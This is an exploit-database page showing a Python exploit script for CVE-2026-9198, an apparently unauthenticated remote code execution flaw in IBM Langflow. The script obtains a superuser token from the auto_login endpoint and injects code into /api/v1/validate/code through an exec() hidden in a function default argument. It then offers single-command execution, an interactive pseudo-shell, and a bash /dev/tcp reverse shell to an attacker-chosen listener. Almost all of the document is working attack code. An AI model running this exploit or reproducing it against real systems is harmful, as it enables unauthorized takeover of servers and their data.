Exploit databaseDownload repository ZIP
GH-6abbfb041e6ebed836075f007c5a521d
0xgh057r3c0n/cve-2026-9198
Sources for CVE-2026-9198
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
0xgh057r3c0n/cve-2026-9198Revision f8595a9b3d7d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-9198.py
Python · 10,208 bytesimport argparse
import json
import sys
import urllib.request
import urllib.error
from termcolor import colored, cprint
TIMEOUT = 20
def _url(base, path):
return base.rstrip("/") + path
def get_token(base):
"""CVE-2026-9103: auto_login hands a superuser JWT to an unauthenticated caller.
Tries GET first, falls back to POST (release-dependent)."""
path = "/api/v1/auto_login"
for method in ("GET", "POST"):
try:
req = urllib.request.Request(_url(base, path), method=method)
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
data = json.loads(r.read().decode("utf-8", "replace"))
tok = data.get("access_token")
if tok:
cprint(f"[+] auto_login successful via {method}", "green", attrs=["bold"])
return tok
except urllib.error.HTTPError as e:
if e.code not in (404, 405):
body = e.read().decode("utf-8", "replace")[:200]
cprint(f"[-] auto_login {method} -> HTTP {e.code}: {body}", "red", attrs=["bold"])
raise SystemExit(1)
else:
cprint(f"[*] {method} method returned {e.code}, trying next...", "yellow")
except Exception as e:
cprint(f"[-] cannot reach {base}: {e}", "red", attrs=["bold"])
raise SystemExit(1)
cprint("[-] auto_login returned no access_token (AUTO_LOGIN likely disabled)", "red", attrs=["bold"])
raise SystemExit(1)
def _payload(inner_python):
"""Wrap arbitrary Python in a function default argument so it runs at
definition-time during validate/code's exec(). repr() keeps nesting valid."""
return "def _v(a=exec({!r})):\n pass".format(inner_python)
def run_cmd(base, token, cmd):
"""CVE-2026-8481: exec() the payload; the command output comes back in the
raised exception -> response function.errors[0]. Returns the output string."""
inner = ('raise Exception(__import__("subprocess").check_output('
'{!r}, shell=True, stderr=__import__("subprocess").STDOUT).decode())'
).format(cmd)
return _post_code(base, token, _payload(inner), expect_output=True)
def fire(base, token, inner_python):
"""Send a fire-and-forget payload (e.g. a reverse shell); no output expected."""
return _post_code(base, token, _payload(inner_python), expect_output=False)
def _post_code(base, token, code, expect_output):
body = json.dumps({"code": code}).encode()
req = urllib.request.Request(_url(base, "/api/v1/validate/code"), data=body,
method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", "Bearer " + token)
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
data = json.loads(r.read().decode("utf-8", "replace"))
cprint("[+] RCE payload executed successfully", "green", attrs=["bold"])
except urllib.error.HTTPError as e:
data = {}
try:
data = json.loads(e.read().decode("utf-8", "replace"))
except Exception:
cprint(f"[-] validate/code -> HTTP {e.code}", "red", attrs=["bold"])
raise SystemExit(1)
except Exception as e:
cprint(f"[-] validate/code request failed: {e}", "red", attrs=["bold"])
raise SystemExit(1)
errs = (data.get("function") or {}).get("errors") or []
if expect_output:
return errs[0].rstrip("\n") if errs else ""
return None
def get_prompt_info(base, token):
"""Get username and current directory for the prompt."""
try:
user = run_cmd(base, token, "whoami").strip()
pwd = run_cmd(base, token, "pwd").strip()
# Replace home directory with ~ for cleaner display
home = run_cmd(base, token, "echo $HOME").strip()
if home and pwd.startswith(home):
pwd = "~" + pwd[len(home):]
return user, pwd
except:
return "unknown", "?"
def banner():
cprint(rf"""
_____________ _______________ _______________ ________ ________ ________ ____ ________ ______
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / __ \/_ / __ \/ __ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ \____ / | \____ /> <
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / / | | / // -- \
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / /____/ |___| /____/ \______ /
\/ \/ \/ \/ \/ \/ \/
""", "red", attrs=["bold"])
cprint(" IBM Langflow Unauthenticated RCE via Auto-Login Bypass", "cyan", attrs=["bold"])
cprint(" Author: 0xgh057r3c0n", "magenta", attrs=["bold"])
print()
def interactive_shell(base, token):
"""Run interactive pseudo-shell with dynamic prompt."""
user, pwd = get_prompt_info(base, token)
cprint(f"[+] Connected as {user}", "green", attrs=["bold"])
cprint("[*] Pseudo-shell started — each command runs via a fresh request", "yellow")
cprint("[*] Type 'exit' or 'quit' to exit, Ctrl+C to abort\n", "yellow")
try:
while True:
try:
# Build dynamic prompt
prompt_line1 = colored(f"┌─[", "red") + colored(f"{user}@0xgh057r3c0n", "green", attrs=["bold"]) + colored(f"]─[", "red") + colored(f"{pwd}", "blue", attrs=["bold"]) + colored(f"]", "red")
prompt_line2 = colored(f"└──╼ ", "red") + colored("$ ", "green", attrs=["bold"])
cmd = input(prompt_line1 + "\n" + prompt_line2)
except (EOFError, KeyboardInterrupt):
cprint("\n[*] Shell terminated by user", "yellow")
break
if cmd.strip() in ("exit", "quit"):
cprint("[*] Exiting pseudo-shell", "yellow")
break
if not cmd.strip():
continue
# Handle cd command specially to update prompt
if cmd.strip().startswith("cd "):
cd_dir = cmd.strip()[3:]
if cd_dir:
# Execute cd and update pwd
run_cmd(base, token, f"cd {cd_dir}")
else:
# cd without args goes to home
run_cmd(base, token, "cd")
# Update prompt info
user, pwd = get_prompt_info(base, token)
else:
# Execute command and show output
output = run_cmd(base, token, cmd)
if output:
print(output)
else:
cprint("[!] No output returned", "yellow")
except Exception as e:
cprint(f"[-] Shell error: {e}", "red", attrs=["bold"])
def main():
global TIMEOUT # Move global declaration to the beginning
ap = argparse.ArgumentParser(
description=colored("CVE-2026-9198 — IBM Langflow OSS unauthenticated RCE", "red", attrs=["bold"]),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=colored("For authorized testing only.", "yellow", attrs=["bold"]))
ap.add_argument("-t", "--target", required=True,
help="target host/IP (or full URL)")
ap.add_argument("-p", "--port", type=int, default=7860,
help="Langflow port (default 7860)")
ap.add_argument("-c", "--cmd", help="run a single shell command and print output")
ap.add_argument("--shell", action="store_true",
help="interactive pseudo-shell with dynamic prompt")
ap.add_argument("--lhost", help="reverse-shell listener IP")
ap.add_argument("--lport", default="4444", help="reverse-shell listener port (default 4444)")
ap.add_argument("-k", "--token", help="use this bearer token (skip auto_login)")
ap.add_argument("--timeout", type=int, default=TIMEOUT, help="HTTP timeout seconds")
ap.add_argument("--no-banner", action="store_true")
args = ap.parse_args()
TIMEOUT = args.timeout # Now this works correctly
if not args.no_banner:
banner()
# normalise base URL
tgt = args.target
if tgt.startswith("http://") or tgt.startswith("https://"):
base = tgt
else:
base = f"http://{tgt}:{args.port}"
cprint(f"[*] Target: {base}", "blue", attrs=["bold"])
token = args.token
if not token:
cprint("[*] Attempting to get superuser token via /api/v1/auto_login...", "yellow")
token = get_token(base)
cprint(f"[+] Token obtained: {token[:24]}...{token[-12:]}", "green", attrs=["bold"])
else:
cprint(f"[*] Using provided token: {token[:24]}...", "blue")
# reverse shell
if args.lhost:
sh = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
inner = 'import subprocess; subprocess.Popen(["bash","-c",{!r}])'.format(sh)
cprint(f"[*] Sending reverse shell to {args.lhost}:{args.lport}", "yellow", attrs=["bold"])
cprint("[!] Make sure your listener is running first!", "red", attrs=["bold"])
fire(base, token, inner)
cprint("[+] Payload sent successfully! Check your listener.", "green", attrs=["bold"])
return
# interactive pseudo-shell
if args.shell:
interactive_shell(base, token)
return
# single command
cprint(f"[*] Executing command: {args.cmd or 'id'}", "blue")
out = run_cmd(base, token, args.cmd or "id")
if out:
cprint("[+] Command output:", "green")
print(out)
else:
cprint("[!] No output returned", "yellow")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
cprint("\n[*] Interrupted by user", "yellow")
sys.exit(0)
except Exception as e:
cprint(f"\n[-] Fatal error: {e}", "red", attrs=["bold"])
sys.exit(1)